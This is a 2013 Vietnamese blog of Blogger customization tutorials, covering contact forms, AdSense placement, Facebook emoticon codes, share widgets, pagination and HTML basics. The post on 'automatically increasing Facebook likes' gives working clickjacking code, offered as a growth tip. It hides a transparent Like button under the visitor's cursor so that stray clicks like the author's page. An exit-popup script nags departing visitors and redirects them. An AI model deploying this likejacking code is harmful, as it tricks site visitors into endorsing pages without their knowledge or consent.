May 27, 2013

Tạo mục liên hệ

Để tạo mục liên hệ với khách truy cập trang web khi họ có những vấn đề cần trao đổi,các bạn làm như sau : 

*Bước 1 : Truy cập vào địa chỉ https://drive.google.com > Tạo (Create) > Mẫu (Form)
Khi mới vào phần này google sẽ hiện ra những mẫu nền box liên hệ đẹp mắt để chúng ta lựa chọn
Thường thì mục liên hệ gồm 3 phần như :
-Họ tên : Phần này các bạn cho nó chức năng là văn bản
-Địa chỉ email : chọn chức năng văn bản
-Nội dung câu hỏi : chọn chức năng là văn bản của đoạn văn,để người đặt câu hỏi có thể viết nhiều ký tự hơn
Sau khi cài đặt xong,các bạn ấn vô "Gửi biểu mẫu" ở góc trên bên phải

*Bước 2 : Lấy mã HTML.Chú ý trong phần này các bạn có thể chỉnh độ lớn của khung liên hệ

*Bước 3 : Đăng nhập Blogger > Bố cục > Thêm ứng dụng > HTML/Javascript,rồi dán đoạn code vừa lấy ở bước 2

Ví dụ với đoạn code này :

<iframe src="https://docs.google.com/forms/d/1BfBnRyZes0sg7j9WU52a13B7k3gm55piIh-lVLsHQRo/viewform?embedded=true" width="760" height="500" frameborder="0" marginheight="0" marginwidth="0">Đang tải...</iframe>

Các bạn sẽ có 1 khung liên hệ với người xem như sau

Các câu hỏi sẽ được gửi về trang drive.google.com để người quản trị trang web có thể giải đáp các thắc mắc của khách truy cập

May 12, 2013

Chèn quảng cáo Google Adsense bên trong bài viết


Để tăng giá trị mỗi click quảng cáo CPC thì người truy cập vào website của bạn phải lướt 1 vài trang với lượng thời gian càng lâu càng tốt.

Chính vì vậy việc chèn quảng cáo bên trong các bài viết sẽ làm tăng giá trị click quảng cáo hơn so với việc treo quảng cáo bên ngoài trang chủ
Theo cách trình bày sau đây,các bạn vào tài khoản adsense và chọn khung quảng cáo có kích thước 300x250 hoặc 336x280

Sau đó thực hiện các bước sau :

Đăng nhập Blogger > Mẫu > Chỉnh sửa HTML và tìm đoạn code

<data:post.body/>

Sau đó dán dưới nó đoạn code sau :

<b:if cond='data:blog.pageType == &quot;item&quot;'>
 Đoạn code quảng cáo của google adsense
</b:if>

Nếu các bạn muốn quảng cáo hiện theo vị trí giữa(center),phải(right),trái(left) thì sử dụng đoạn code này :


<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div style="float:left; margin:10px;">
  Đoạn code quảng cáo của google adsense
</div>
</b:if>

Thay vị trí đã được bôi đỏ theo sở thích

May 9, 2013

Hướng dẫn tạo biểu tượng chát cho Facebook

Để sử dụng các biểu tượng này khi chát Facebook, bạn chỉ cần copy phần mã tương ứng và paste (dán) vào cử sổ chát rồi Enter. Hãy làm thử coi, bạn của bạn sẽ rất bất ngờ đó.



  • Troll face: [[171108522930776]]
  • Me Gusta: [[211782832186415]]
  • ARE YOU FUCKING KIDDING ME: [[143220739082110]]
  • Not bad Obama: [[169919399735055]]
  • Mother of God: [[142670085793927]]
  • Cereal Guy: [[170815706323196]]
  • LOL Face: [[168456309878025]]
  • NO Guy: [[167359756658519]]
  • Derp: [[224812970902314]]
  • Derpina: [[192644604154319]]
  • Forever Alone: [[177903015598419]]
  • It’s Okay!: [[148578318584679]]
facebook icon 2 Hướng dẫn tạo biểu tượng chát cho Facebook rất hay
  • ALL the y: [[219611504753863]]
  • Impossibruh: [[305710872791586]]
  • Rage Face: [[145768898802324]]
  • Watch out, badass: [[309795212383816]]
  • Poker face: [[129627277060203]]
  • Justin Bieber: [[67253243887]]
  • Lady GaGa: [[ladygaga]]
  • Eminem: [[eminem]]
  • Mark Zuckerberg: [[zuck]]
  • POKER FACE: [[129627277060203]]
  • CHALLENGE ACCEPTED: [[100002727365206]]
  • Dislike Icon: [[139407806171115]]
  • Like Icon: [[333181686710881]]
  • Inverted Like Icon: [[180601488705317]]
facebook icon 3 Hướng dẫn tạo biểu tượng chát cho Facebook rất hay
  • [[xated]] = (xat)
  • [[xatpray]] = (pray)
  • [[xatredface]] = (redface)
  • [[xatmaniac]] = (maniac)
  • [[xatsmirk]] = (smirk)
  • [[xatshock]] = (shock)
  • [[xatmad]] = (mad)
  • [[xatxd]] = (xd)
  • [[xatcrying]] = (crying)
  • [[xatwary]] = (wary)
facebook icon 4 Hướng dẫn tạo biểu tượng chát cho Facebook rất hay
  • Spongebob: [[334954663181745]]
  • Hello Kitty: [[332936966718584]]
  • Pikachu: [[326134990738733]]
  • Santa Claus: [[297354436976262]]
  • Poring: [[269153023141273]]
  • Kerokeroppi: [[252497564817075]]
  • Domo Kun: [[250128751720149]]
  • Konata Izumi: [[249199828481201]]
  • Pokeball: [[236147243124900]]
  • Nobita: [[224502284290679]]
  • Gintoki Sakata: [[223328504409723]]
  • Shin chan: [[196431117116365]]
  • Angry Bird: [[157680577671754]]
  • Doraemon: [[155393057897143]]
  • Mojacko: [[144685078974802]]
  • Pedo Bear: [[138529122927104]]


May 5, 2013

Tạo hộp like fanpage Facebook (có ẩn)



Để tạo hộp like fanpage Facebook như hình minh họa,các bạn làm như sau :

Đăng nhập Blogger > Bố cục > Thêm tiện ích > HTML/Javascript,rồi dán đoạn code sau :


<script type='text/javascript'>
mdfburl='Link fanpage FB của bạn'
</script>
<table id='v1610c54405' style='text-align:left;border-width:2px;border-style:solid;border-color:#03aaf7 #03aaf7 #03aaf7 #03aaf7' border='0' cellspacing='0' cellpadding='0' onselectstart='return false;'><tr style='background:#4050f0' onmousedown='v1710c54405(event);' onmouseup='v1810c54405(event);'><script type='text/javascript' src='http://makingdifferent.github.com/blogger-widgets/mdfb1.js'></script><div style='margin-left:0px;border:none;text-align:left;height:18px;color:#ffffff;font-family:Tahoma,sans-serif;font-size:12pt;font-weight:bold;padding:0x 0px 0px 0px;cursor:move'>Find Us On Facebook</div><td style='border:none;cursor:default;vertical-align:top;padding:1px'><div style='float:right;text-align:right'><table border='0' cellspacing='0' cellpadding='0' style='width:1px'><tr><td id='v1b10c54405' style='border:none;cursor:default;vertical-align:top;padding:1px' onclick='v1c10c54405();'><div style='padding:1px;margin:0px;line-height:10px;font-family:Tahoma,sans-serif;font-size:10pt;overflow:hidden;border:outset 2px #FFFFFF;width:11px;height:11px;color:#000000;background-color:#E0E0E0;font-weight:bold'><div style='padding:0px;margin:0px;line-height:10px;font-family:Tahoma,sans-serif;font-size:10pt;overflow:hidden;border-style:solid;border-color:#000000;border-width:0px 0px 2px 0px;width:10px;height:8px;color:#000000;background-color:#E0E0E0;font-weight:bold'>&nbsp;</div></div><td id='v1d10c54405' style='border:none;cursor:default;vertical-align:top;padding:1px 1px 1px 1px' onclick='v1e10c54405();'><div id='v1f10c54405' style='text-align:left;padding:1px 1px 1px 2px;margin:0px;line-height:10px;font-family:Tahoma,sans-serif;font-size:10pt;overflow:hidden;border:outset 2px #FFFFFF;width:10px;height:11px;color:#000000;background-color:#E0E0E0;font-weight:bold'>X</div></td></td></tr></table></div><tr id='v2010c54405' style='background-color:#ffffff'><td colspan=2 style='padding:0px'><table cellspacing='0' cellpadding='0' border='0' style='width:100%;height:100%'><tr><td id='v2110c54405'></td></tr></table></td></tr></td></tr></table>
<script type='text/javascript' src='http://makingdifferent.github.com/blogger-widgets/mdfb2.js'></script>

Apr 26, 2013

Tạo hộp fanpage Facebook cho website


Để tạo hộp fanpage Facebook các bạn vào địa chỉ sau :

https://developers.facebook.com/docs/reference/plugins/like-box/

Khi vào các bạn thay đổi các thông số sau :
-Facebook Page URL : Là đường dẫn đến trang fanpage trên Facebook của bạn,nó có dạng http://www.facebook.com/tên_trang_fanpage
-Width : Độ rộng của hộp fanpage,cái này tùy thuộc vào độ rộng phân cột trong trang web của bạn
-Height : Độ dài của hộp fanpage
-Bỏ dấu tích ở ô Show stream
-Bỏ dấu tích ở ô Show header

Sau đó các bạn ấn vào ô Get code để lấy đoạn mã HTML.Chú ý là lấy đoạn mã ở mục IFRAME nhé

Ok !!!

Bây giờ các bạn đăng nhập Blogger > Bố cục > Thêm tiện ích > chọn HTML/Javascritp

Sau đó dán đoạn code vừa copy vào và lưu lại

Chúc các bạn thành công !!!

Apr 25, 2013

Popup hỏi trước khi thoát khỏi blog/web




1. Đăng nhập vào tài khoản Blogger
2. Vào phần Mẫu (Template)
3. Chọn Chỉnh sửa HTML (Edit HTML)
4. Tìm thẻ </head> và dán đoạn code bên dưới vào sau nó :


<script> var exittraffic_splashalertmessage = "Bạn thật sự muốn rời trang web ?"; </script>
<script type='text/javascript'>
//<![CDATA[
var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;

function DisableExitTraffic() {
PreventExitSplash = true;
}

function addLoadEvent(func) {
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
}
else {
window.onload = function() {
if (oldonload) {
oldonload();
}
func();
}
}
}
function addClickEvent(a, i, func) {
if (typeof a[i].onclick != 'function') {
a[i].onclick = func;
}
}
theBody = document.body;
if (!theBody) {
theBody = document.getElementById("body");
if (!theBody) {
theBody = document.getElementsByTagName("body")[0];
}
}
var PreventExitSplash = false;
var LightwindowOpening = false;
function DisplayExitSplash() {

if (PreventExitSplash == false) {


window.scrollTo(0, 0);
if (is_firefox) {
//window.alert(exittraffic_splashalertmessage);
}
PreventExitSplash = true;
if (is_chrome||is_firefox) {
timeout_variable = setTimeout("exittraffic_change_url();", 1000);
} else {
document.location.href = exittraffic_RedirectUrl;
}

return exittraffic_splashalertmessage;
}
}
var a = document.getElementsByTagName('A');
for (var i = 0; i < a.length; i++) {
if (a[i].target !== '_blank') {
addClickEvent(a, i, function() {
PreventExitSplash = true;
});
}
else {
addClickEvent(a, i, function() {
PreventExitSplash = false;
});
}
}
disablelinksfunc = function() {
var a = document.getElementsByTagName('A');
for (var i = 0; i < a.length; i++) {
if (a[i].target !== '_blank') {
addClickEvent(a, i, function() {
PreventExitSplash = true;
});
}
else {
addClickEvent(a, i, function() {
PreventExitSplash = false;
});
}
}
}

addLoadEvent(disablelinksfunc);

disableformsfunc = function() {
// Makes that clicking on the links on the page will not cause this popup to appear
var f = document.getElementsByTagName('form');
for (var i = 0; i < f.length; i++) {
if (!f[i].onclick) {
f[i].onclick = function() {
if (LightwindowOpening == false) {
PreventExitSplash = true;
}
}
}
else if (!f[i].onsubmit) {
f[i].onsubmit = function() {
PreventExitSplash = true;
}
}
}
}

function exittraffic_change_url() {
disable_confirmation = false;
clearTimeout(timeout_variable); // just to make sure
document.location.href=exittraffic_RedirectUrl;
}

addLoadEvent(disableformsfunc);
window.onbeforeunload = DisplayExitSplash;
//]]>
</script>

Apr 23, 2013

Tự động tăng like facebook cho web/blog




Để tăng lượng like Facebook fan page website của bạn,thì bạn làm như sau :

Đăng nhập Blogger > Mẫu > Chỉnh sửa HTML

Tìm đến thẻ </head> và dán đoạn code dưới đây vào trước nó :

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"> </script> <script type='text/javascript'> function ClickJackFbHide(){ jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide(); } function ClickJackFbShow(){ jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show(); } </script>

Sau đó tìm đến thẻ </body>,và dán đoạn code dưới đây vào trước nó :

<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden"> <!--<div style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>--> <iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe> </div> <script type="text/javascript"> jQuery( document ).ready( function() { $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) { jQuery( "#clickjack-button-wrapper-5" ).css( { top: e.pageY - 10, left: e.pageX + 30 } ); } ); clickjack_hider(); var clickjack_fb_timer = setTimeout("clickjack_hider()",5000); } ); function clickjack_hider(){ jQuery("input").mouseout(function(){ClickJackFbShow();}); jQuery("a").mouseout(function(){ClickJackFbShow();}); jQuery("button").mouseout(function(){ClickJackFbShow();}); jQuery("textarea").mouseout(function(){ClickJackFbShow();}); jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();}); jQuery("input").mouseover(function(){ClickJackFbHide();}); jQuery("a").mouseover(function(){ClickJackFbHide();}); jQuery("button").mouseover(function(){ClickJackFbHide();}); jQuery("textarea").mouseover(function(){ClickJackFbHide();}); jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();}); } </script>


Thay Fanpage URL Link bằng địa chỉ fan page trên Facebook của các bạn

Chúc các bạn thành công !!!

P/S : Chú ý đây là code ẩn,nên sẽ không copy được nội dung web

Apr 19, 2013

Tạo ứng dụng chia sẻ các mạng xã hội bên cạnh web với biểu tượng ngộ nghĩnh


Để tạo ứng dụng như hình minh họa,các bạn làm theo các bước như sau :

Đăng nhập Blogger > Bố cục > Thêm tiện ích > HTML/Java script,rồi dán đoạn code sau :

<style>#MDfloatshare{background:#f5f5f5;float:left;padding: 4px; position: fixed; top: 240px; z-index: 1; width:64px;}
#MDfloatemo{background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvGIiTqoZyf3zAWv8txzfRzDAyZjpcR9l_wOOXu1aaBjcQRrUNadS-uIc6PgJbGIO-lIgBcpdO5VUoMnYIbZmR9OOKVs7evOOH50ow8YpYSMrjK4Zze_jbAX5KDSgpPnxWm7ETA5Eaa0wG/s1600/%5Bwww.makingdifferent.com%5Demo.png);background-position:67px 0;float: left; margin: 0 0 0 100px; padding: 4px;height:65px;position: fixed; top: 160px; z-index: 1; width:60px;}
#MDfloatemo:hover{background-position:2px 0;}
</style>
<div id="MDfloatemo"><div id="MDfloatshare">
<div style="margin:0 0 5px 2px;">
<a href="https://twitter.com/share" data-count="vertical">Tweet</a>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>
<div style="margin:0 5px 5px;">
<script type='text/javascript' src='https://apis.google.com/js/plusone.js'></script>
<g:plusone size="tall"></g:plusone></div>
<div style="margin:0 8px 5px;"><div id="fb-root"></div><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like send="false" layout="box_count" width="55" show_faces="false" font="">
</fb:like> </div><div style="margin:0 2px 5px;"><div data-action="share" data-annotation="vertical-bubble" data-height="60">
</div></div></div></div>



Lưu lại và xem kết quả nha !!!

Apr 18, 2013

Tạo phân trang kiểu Google cho Blogspot


1. Đăng nhập vào tài khoản Blogger

2. Vào phần Mẫu (Template)


3. Chọn Chỉnh sửa HTML (Edit HTML) 



4. Chèn tiếp code CSS bên dưới vào trước thẻ ]]></b:skin>



#nav a,#nav a:visited,.blk a{color:#000}
#nav a{display:block}
#nav .b a,#nav .b a:visited{color:#20c}
#nav .i{color:#a90a08;font-weight:bold}
.csb,.ss{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbi9KH2dOCryBMEhNiGA507WTaPX0OUMQ0mgY5BdvOyp6ycdvA69WOB_hhdab6uPk3_eIlod7Wp7nX16i-XnlVKzvZFQSlzhvz_0KjR6UB96jIre1S4pQhB90OOqJPK6PIQEPzzs-fRf0x/s1600/nav_logo-namkna-blogspot-com.png) no-repeat 0 0;height:26px;display:block}
.ss{background-position:0 -88px;position:absolute;left:0;top:0}
.cps{height:18px;overflow:hidden;width:114px}
.mbi{width:13px;height:13px;background-position:-91px -74px;margin-right:3px}
#nav td{padding:0;text-align:center}


5. Chèn tiếp code bên dưới vào trước thẻ </body>


<script type='text/javascript'>
var home_page_url = location.href;
var pageCount=5;
var displayPageNum=6;
var upPageWord ='« Trang trước';
var downPageWord ='Trang tiếp »';
function showpageCount(json) {
var thisUrl = home_page_url;
var htmlMap = new Array();
var thisNum = 1;
var postNum=1;
var itemCount = 0;
var fFlag = 0;
var eFlag = 0;
var html= '';
var upPageHtml ='';
var downPageHtml ='';
htmlMap[htmlMap.length]='/';
postNum++;
for(var i=pageCount-1, post; post = json.feed.entry[i]; i=i+pageCount) {
var timestamp1 = post.published.$t.substring(0,19)+post.published.$t.substring(23,29);
timestamp = encodeURIComponent(timestamp1);
var title = post.title.$t;
if(thisUrl.indexOf(timestamp)!=-1 ){
thisNum = postNum;
}

postNum++;
htmlMap[htmlMap.length] = '/search?updated-max='+timestamp+'&amp;max-results='+pageCount;

}
var banyaknomer = htmlMap.length;
if (json.feed.entry.length % pageCount == 0){
var banyaknomer = htmlMap.length -1 ;
postNum=postNum-1;
};
for(var p =0;p&lt; banyaknomer;p++){
if(p&gt;=(thisNum-displayPageNum-1) &amp;&amp; p&lt;(thisNum+displayPageNum)){
if(fFlag ==0 &amp;&amp; p == thisNum-2){
if(thisNum==2){
upPageHtml = '&lt;a href=&quot;/&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: 0pt 0pt; margin-left: auto; width: 44px;&quot;&gt;&lt;/span&gt;&lt;div style=&quot;margin-right: 8px;&quot;&gt;'+ upPageWord +'&lt;/a&gt;&lt;/td&gt;';
}else{
upPageHtml = '&lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: 0pt 0pt; margin-left: auto; width: 44px;&quot;&gt;&lt;/span&gt;&lt;div style=&quot;margin-right: 8px;&quot;&gt;'+ upPageWord +'&lt;/a&gt;&lt;/td&gt;';
}

fFlag++;
}

if(p==(thisNum-1)){
if(p==0){
html += '&lt;span class=&quot;csb&quot; style=&quot;background-position: -26px 0pt; width: 18px;&quot;&gt;&lt;/span&gt;&lt;/td&gt;&lt;td class=&quot;cur&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -44px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+thisNum+'&lt;/td&gt;';
}else{
html += '&lt;td class=&quot;cur&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -44px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+thisNum+'&lt;/td&gt;';
}
}else{
if(p==0){
html += '&lt;td&gt;&lt;a href=&quot;/&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -60px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;1&lt;/a&gt;&lt;/td&gt;';

}else{

html += '&lt;td&gt;&lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -60px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+ (p+1) +'&lt;/a&gt;&lt;/td&gt;';
}
}

if(eFlag ==0 &amp;&amp; p == thisNum){
downPageHtml = '&lt;td class=&quot;b&quot;&gt; &lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -76px 0pt; margin-right: 34px; width: 66px;&quot;&gt;&lt;/span&gt;'+ downPageWord +'&lt;/a&gt;&lt;/td&gt;';
eFlag++;
}
}
}

if(thisNum&gt;1){
html = ''+upPageHtml+' '+html +' ';
}
html2 = '&lt;table id=&quot;nav&quot; style=&quot;margin: auto auto 1.4em; border-collapse: collapse;text-align: center; direction: ltr;&quot; align=&quot;center&quot;&gt;&lt;tbody&gt;&lt;tr valign=&quot;top&quot;&gt;&lt;td class=&quot;b&quot;&gt;Page  ('+(postNum-1)+')   &lt;/td&gt;&lt;td class=&quot;b&quot;&gt;';
html3 = '&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;';
html = html2+html;

if(thisNum&lt;(postNum-1)){
html += downPageHtml;
}else{
html += '&lt;td class=&quot;b&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -76px 0pt; width: 42px;&quot;&gt;&lt;/span&gt;&lt;/td&gt;';
}
if(postNum==1) postNum++;
html += html3+ '&lt;/div&gt;';
var pageArea = document.getElementsByName(&quot;pageArea&quot;);
var blogPager = document.getElementById(&quot;blog-pager&quot;);

if(postNum &lt;= 2){

html ='';
}
for(var p =0;p&lt; pageArea.length;p++){
pageArea[p].innerHTML = html;
}
if(pageArea&amp;&amp;pageArea.length&gt;0){
html ='';
}
if(blogPager){
blogPager.innerHTML = html;
}
}
function showpageCount2(json) {
var thisUrl = home_page_url;
var htmlMap = new Array();
var isLablePage = thisUrl.indexOf(&quot;/search/label/&quot;)!=-1;
var thisLable = isLablePage ? thisUrl.substr(thisUrl.indexOf(&quot;/search/label/&quot;)+14,thisUrl.length) : &quot;&quot;;
thisLable = thisLable.indexOf(&quot;?&quot;)!=-1 ? thisLable.substr(0,thisLable.indexOf(&quot;?&quot;)) : thisLable;
var thisNum = 1;
var postNum=1;
var itemCount = 0;
var fFlag = 0;
var eFlag = 0;
var html= '';
var upPageHtml ='';
var downPageHtml ='';
var labelHtml = '&lt;a href=&quot;/search/label/'+thisLable+'?&amp;max-results='+pageCount+'&quot;&gt;';
var thisUrl = home_page_url;
htmlMap[htmlMap.length]=labelHtml;
postNum++;
for(var i=pageCount-1, post; post = json.feed.entry[i]; i=i+pageCount) {
var timestamp1 = post.published.$t.substring(0,19)+post.published.$t.substring(23,29);
timestamp = encodeURIComponent(timestamp1);
var title = post.title.$t;
if(thisUrl.indexOf(timestamp)!=-1 ){
thisNum = postNum;
}

if(title!='') postNum++;
htmlMap[htmlMap.length] = '/search/label/'+thisLable+'?updated-max='+timestamp+'&amp;max-results='+pageCount;

itemCount++;
}

var banyaknomer = htmlMap.length;

if (json.feed.entry.length % pageCount == 0){
var banyaknomer = htmlMap.length -1 ;
postNum=postNum-1;
};

for(var p =0;p&lt; banyaknomer;p++){
if(p&gt;=(thisNum-displayPageNum-1) &amp;&amp; p&lt;(thisNum+displayPageNum)){
if(fFlag ==0 &amp;&amp; p == thisNum-2){

if(thisNum==2){
upPageHtml = labelHtml +'&lt;span class=&quot;csb ch&quot; style=&quot;background-position: 0pt 0pt; margin-left: auto; width: 44px;&quot;&gt;&lt;/span&gt;&lt;div style=&quot;margin-right: 8px;&quot;&gt;'+ upPageWord +'&lt;/a&gt;&lt;/td&gt;';
}else{
upPageHtml = '&lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: 0pt 0pt; margin-left: auto; width: 44px;&quot;&gt;&lt;/span&gt;&lt;div style=&quot;margin-right: 8px;&quot;&gt;'+ upPageWord +'&lt;/a&gt;&lt;/td&gt;';
}

fFlag++;
}
if(p==(thisNum-1)){
if(p==0){
html += '&lt;span class=&quot;csb&quot; style=&quot;background-position: -26px 0pt; width: 18px;&quot;&gt;&lt;/span&gt;&lt;/td&gt;&lt;td class=&quot;cur&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -44px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+thisNum+'&lt;/td&gt;';
}else{
html += '&lt;td class=&quot;cur&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -44px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+thisNum+'&lt;/td&gt;';
}
}else{
if(p==0){
html = '&lt;td&gt;'+labelHtml+'&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -60px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;1&lt;/a&gt;&lt;/td&gt;';
}else{
html += '&lt;td&gt;&lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -60px 0pt; width: 16px;&quot;&gt;&lt;/span&gt;'+ (p+1) +'&lt;/a&gt;&lt;/td&gt;';
}
}
if(eFlag ==0 &amp;&amp; p == thisNum){
downPageHtml = '&lt;td class=&quot;b&quot;&gt; &lt;a href=&quot;'+htmlMap[p]+'&quot;&gt;&lt;span class=&quot;csb ch&quot; style=&quot;background-position: -76px 0pt; margin-right: 34px; width: 66px;&quot;&gt;&lt;/span&gt;'+ downPageWord +'&lt;/a&gt;&lt;/td&gt;';
eFlag++;
}
}
}
if(thisNum&gt;1){
if(!isLablePage){
html = ''+upPageHtml+' '+html +' ';
}else{
html = ''+upPageHtml+' '+html +' ';
}
}

html2 = '&lt;table id=&quot;nav&quot; style=&quot;margin: auto auto 1.4em; border-collapse: collapse;text-align: center; direction: ltr;&quot; align=&quot;center&quot;&gt;&lt;tbody&gt;&lt;tr valign=&quot;top&quot;&gt;&lt;td class=&quot;b&quot;&gt;Page  ('+(postNum-1)+')   &lt;/td&gt;&lt;td class=&quot;b&quot;&gt;';
html3 = '&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;';
html = html2+html;

if(thisNum&lt;(postNum-1)){
html += downPageHtml;
}else{
html += '&lt;td class=&quot;b&quot;&gt;&lt;span class=&quot;csb&quot; style=&quot;background-position: -76px 0pt; width: 42px;&quot;&gt;&lt;/span&gt;&lt;/td&gt;';
}
if(postNum==1) postNum++;
html += html3+ '&lt;/div&gt;';

var pageArea = document.getElementsByName(&quot;pageArea&quot;);
var blogPager = document.getElementById(&quot;blog-pager&quot;);

if(postNum &lt;= 2){

html ='';
}
for(var p =0;p&lt; pageArea.length;p++){
pageArea[p].innerHTML = html;
}
if(pageArea&amp;&amp;pageArea.length&gt;0){
html ='';
}
if(blogPager){
blogPager.innerHTML = html;
}
}
</script>
<script type='text/javascript'>

  var thisUrl = home_page_url;

if (thisUrl.indexOf(&quot;/search/label/&quot;)!=-1){
if (thisUrl.indexOf(&quot;?updated-max&quot;)!=-1){
var lblname1 = thisUrl.substring(thisUrl.indexOf(&quot;/search/label/&quot;)+14,thisUrl.indexOf(&quot;?updated-max&quot;));
}else{
var lblname1 = thisUrl.substring(thisUrl.indexOf(&quot;/search/label/&quot;)+14,thisUrl.indexOf(&quot;?&amp;max&quot;));
}
}
var home_page = &quot;/&quot;;
if (thisUrl.indexOf(&quot;?q=&quot;)==-1 &amp;&amp; thisUrl.indexOf(&quot;.html&quot;)==-1){
if (thisUrl.indexOf(&quot;/search/label/&quot;)==-1){
document.write('&lt;script src=&quot;'+home_page+'feeds/posts/summary?alt=json-in-script&amp;callback=showpageCount&amp;max-results=99999&quot; &gt;&lt;\/script&gt;')
}else{document.write('&lt;script src=&quot;'+home_page+'feeds/posts/full/-/'+lblname1+'?alt=json-in-script&amp;callback=showpageCount2&amp;max-results=99999&quot; &gt;&lt;\/script&gt;')
}
}
</script>


Trong đó :


var pageCount=5; : Là số bài viết muốn hiển thị
var displayPageNum=6; : Là số phân trang

6. Sau đó bấm Lưu Mẫu lại




Apr 17, 2013

Các thẻ và thuộc tính trong HTML




A. Thẻ HTML hay HTML tag là gì?
Thẻ(tag) được sử dụng để đánh dấu các thành phần của HTML; là thành phần quan trong nhất để cấu thành tập tin HTML. Khi gặp 1 thẻ(tag) thì trình duyệt bắt buộc phải hiển thị theo đúng cấu trúc đã quy định sẵn của thẻ(tag) đó. Có nhiều kiểu thẻ và mỗi thẻ có tác dụng khác nhau, nhưng chung lại có 2 loại: thẻ đóng và thẻ mở.
         - Thẻ mở:
            + <tên_thẻ>
            + nằm trong cặp dấu bé hơn (<) và dấu lớn hơn (>) dùng để bắt đầu 1 lệnh HTML
            + VD: <html>; <head>; <body>
         - Thẻ đóng:
            + </tên_thẻ>
            + Chỉ khác thẻ mở ở dấu /
            + VD: </html>; </head>; </body>
 
* Thẻ đóng và thẻ mở thường đi liền với nhau:
 + <tên_thẻ>...</tên_thẻ>
 + tác động đến dữ liệu bên trong cặp thẻ.
* Một số thẻ chỉ có thẻ mở, không có thẻ đóng:
<img>; <br>; <hr>; <meta>
 
B. Thuộc tính của thẻ:
- Là những đặc tính, tính chất mang theo để trình duyệt định dạng và hiển thị thẻ đó.
- Mỗi thẻ có thể có 1 hoặc nhiều thuộc tính
- Mỗi thuộc tính có tên thuộc tính và giá trị của thuộc tính, giá trị được đặt trong dấu ""
- Cú pháp:
<tên_thẻ thuộc_tính_1="giá_trị_thuộc_tính_1" thuộc_tính_2="giá_trị_thuộc_tính_2" ... />
- Thuộc tính được viết trong thẻ mở: 
       VD : <h1 align="center">Xin chào</h1> 
- Thuộc tính có thể đổi vị trí cho nhau:
       VD: <img src="xinchao.png" align="center"/> ~ <img align="center" src="xinchao.png"/>
        trình duyệt sẽ hiển thị như nhau.
 
C. Các thẻ thường dùng và thuộc tính đi kèm:
 
<body>...</body>: 
*Thuộc tính:
bgcolor xác định màu nền trang web, mầu thường dùng là các từ tiếng Anh như: red, blue, green, white... nhưng cũng có thể dùng mã màu(mình sẽ đề cập sau)
background: xác định ảnh nền trang web:
VD: <body background="anh_nen_1600x960.png">
1. Các thẻ tiêu đề (headding tags)

- Bao gồm các thẻ từ <h1> đến <h6> ( <h1> có kích thước lớn nhất, <h6> là bé nhất ) thường được sử dụng làm tiêu đề cho bài viết, trong template blogger thì tiêu đề bài viết thường là thẻ <h3>
VD:
<h1>Xin chào cả nhà. Chúc vui vẻ!</h1>
<h3>Tiêu đề thường dùng trong Blogspot là h3</h3>
<h6>Tiêu đề nhỏ nhất là thẻ h6</h6>

*Thuộc tính:
align: có các giá trị: "left", "right", "center", "justify" : căn chỉnh lề

2. Thẻ dùng để định dạng văn bản,kí tự:
Trong phần 2 mình có đề cập qua các thẻ như
<b>in đậm</b> : in đậm;
<i>chữ nghiêng</i>chữ nghiêng;
<u>gạch chận</u> : gạch chận;
Trong bài này mình bổ sung thêm 1 số thẻ thường dùng khác:
<font>...</font>: chọn font chữ cho văn bản
 * Thuộc tính:
